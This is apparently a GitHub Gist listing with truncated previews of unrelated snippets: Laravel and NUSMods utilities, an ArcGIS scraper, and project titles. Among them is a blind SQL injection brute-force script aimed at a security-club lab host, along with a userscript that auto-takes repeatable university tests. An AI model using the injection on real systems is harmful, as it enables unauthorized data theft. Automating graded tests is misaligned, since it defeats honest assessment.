This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
namespace App\Console\Commands; | |
use App\User; | |
use Illuminate\Console\Command; | |
use Illuminate\Contracts\Auth\UserProvider; | |
class ResetPassword extends Command | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Run this first: injects jQuery into the page | |
var s = document.createElement('script'); | |
s.src = 'https://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js'; | |
document.body.appendChild(s); | |
// SQL query: 1' AND FALSE UNION SELECT * FROM users WHERE password LIKE 'a%' # | |
// Recursive function to brute force out the password from the page | |
function getPassword(p) { | |
$.post('http://web.nusgreyhats.org/blindsqli/register.php', { | |
register: "1' AND FALSE UNION SELECT * FROM users WHERE password LIKE '" + p + "%' #" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Replace all dashes with spaces and uppercase first letter of each word | |
function humanize (str) { | |
return str.replace(/\-/g, ' ').replace(/\w\S*/g, function(txt){ | |
return txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase(); | |
}); | |
} | |
// Split up URL pathnames into components | |
function parseUrl (url) { | |
// Remove trailing slashes |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
code = ''; | |
Object.keys(localStorage).forEach(k => { | |
if (k === 'reduxState') return; | |
code += `localStorage[${JSON.stringify(k)}] = ${JSON.stringify(localStorage[k])};\n`; | |
}); | |
code += 'window.location.reload()' | |
copy(code) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import axios from 'axios' | |
import * as fs from 'fs-extra' | |
import * as _ from 'lodash' | |
const POI_NETWORK_URL = 'https://arcgis.ami-lab.org/arcgis/rest/services/FULL_NUS_NETWORK_051017/FULL_NUS_NETWORK_150118/MapServer/8/query' | |
async function getPoi() { | |
let lastId = 0; | |
let features; | |
const allPlaces = []; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name Automatic Test Taker | |
// @namespace yijiang | |
// @description Automatically takes repeatable tests | |
// @include https://ivle.nus.edu.sg/v1/Assessment/Student/assessment_content.aspx* | |
// @include https://ivle.nus.edu.sg/v1/Assessment/Student/result_details.aspx* | |
// @include https://ivle.nus.edu.sg/v1/Assessment/Student/result_main.aspx* | |
// @version 1.1 | |
// @include https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js | |
// @grant none |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const git = require('isomorphic-git'); | |
const axios = require('axios'); | |
const Octokit = require('@octokit/rest'); | |
const octokit = new Octokit(); | |
const codeBlock = (text, lang = '') => | |
'```' + lang + '\n' + text + '\n```'; | |
const unorderedList = (items) => |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[ | |
{ | |
"title": "Hyphen", | |
"description": "A call centre run by chatbots" | |
}, | |
{ | |
"title": "Aquapioneers Ecosystem", | |
"description": "Grow your zero-km food with aquaponics" | |
}, | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var c = ` | |
localStorage.clear(); | |
localStorage.setItem('reduxState', JSON.stringify(${localStorage.getItem('reduxState')})); | |
window.location.reload();`; | |
if (typeof copy === 'function') { | |
console.info('Go to https://deploy-preview-669--nusmods.netlify.com/ and paste the code that has been copied into the console'); | |
copy(c); | |
} else { | |
console.info('Go to https://deploy-preview-669--nusmods.netlify.com/ and paste this into the console'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// NUSMods v2 timetable data extractor | |
var loaderTemplate = data => ` | |
var s = document.createElement('script'); | |
s.src = 'https://cdnjs.cloudflare.com/ajax/libs/localforage/1.5.5/localforage.min.js'; | |
s.onload = function() { | |
const data = ${data}; | |
let count = 0; |
NewerOlder